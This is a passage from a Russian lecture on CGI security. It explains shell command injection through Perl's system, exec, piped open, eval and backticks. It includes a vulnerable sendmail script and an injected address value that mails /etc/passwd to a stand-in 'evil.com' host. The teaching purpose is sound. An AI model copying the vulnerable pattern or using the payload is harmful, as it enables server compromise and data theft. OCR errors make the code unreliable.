Лекция: Только) CGI-программисты предпочитают Peri.

Во-вторых, следующий большой класс ошибок связан с вызовом внешних программ. Здесь Peri предоставляет

больше шансов для случайной ошибки — в то время как у C++ с этой точки зрения потенциально опасны

Функции popen и system (причем вместо последней часто можно безболезненно воспользоваться ехес или

Spawn), у Peri проблемными считаются функции system и ехес, open с перенаправлением вывода (аналогичная

popen), функция eval, а также обратная кавычка <V

Сами по себе перечисленные функции достаточно безопасны, и, если скрипт просто вызывает некую

Внешнюю программу, никакой беды в этом нет. Сложности возникают, когда скрипт передает внешней

Программе

в качестве параметра некую информацию, введенную пользователем: адрес, сообщаемый программе

Электронной почты, вызов grep из поисковой системы и т. д. Если в процессе вызова внешней программы будет

Участвовать командная оболочка, как это происходит при использовании перечисленных функций, то можно

Воспользоваться ее управляющими символами и выполнить на сервере любую команду.

Очевидный пример — отправление письма по адресу, указанному пользователем (например, в качестве

подтверждения какого-то запроса и т. п.):

#! /usr/bin/peri use CGI qw(: standard); $query = new

CGI;

$mailprog=' I /usr/sbin/sendmail': $address= $query->param( 'address');

$from='webmaster@somehosf; open (MAIL, "$mailprog $address"); print MAIL

«From: $from\nSubject: Confirmation\n\n»; print MAIL «Your request was

successfully received\n»; close MAIL;

Теперь предположим, что пользователь ввел следующий обратный адрес: hackerOevil .corn; mail hacker@evil

.corn </etc/passwd;, в результате чего выполнится команда/usr/sbin/sendmail hacker@evil.com;mail

hacker@evil.com </etc/passwd; -явно не то, что мы ожидали (сравните, кстати, с атаками, описанными в главе 9).

еще рефераты
Еще работы по информатике